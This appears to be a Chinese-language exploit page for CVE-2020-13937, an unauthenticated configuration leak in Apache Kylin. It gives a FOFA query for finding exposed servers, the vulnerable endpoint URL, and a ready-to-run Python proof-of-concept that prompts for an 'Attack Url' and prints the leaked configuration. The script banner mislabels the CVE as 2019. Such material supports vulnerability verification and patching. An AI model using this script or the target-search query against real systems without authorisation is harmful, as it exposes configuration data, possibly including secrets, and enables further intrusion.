Apache Kylin的未授权配置泄露 CVE-2020-13937

漏洞描述

Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息。

FOFA

[!NOTE]

app="APACHE-kylin"

漏洞影响

[!NOTE]

Apahche Kylin 2.x.x

Apahche Kylin <= 3.1.0

Apahche Kylin 4.0.0-alpha

漏洞复现

根据漏洞情报

漏洞利用POC为 http://xxx.xxx.xxx.xxx/kylin/api/admin/config

漏洞检测POC

import requests

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha            \033[0m')
    print('+  \033[36m使用格式: python3 cve-2019-13937.py                                 \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:9999                            \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/kylin/api/admin/config"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, timeout=20)
        if "config" in response.text:
            print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
        else:
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
    except:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)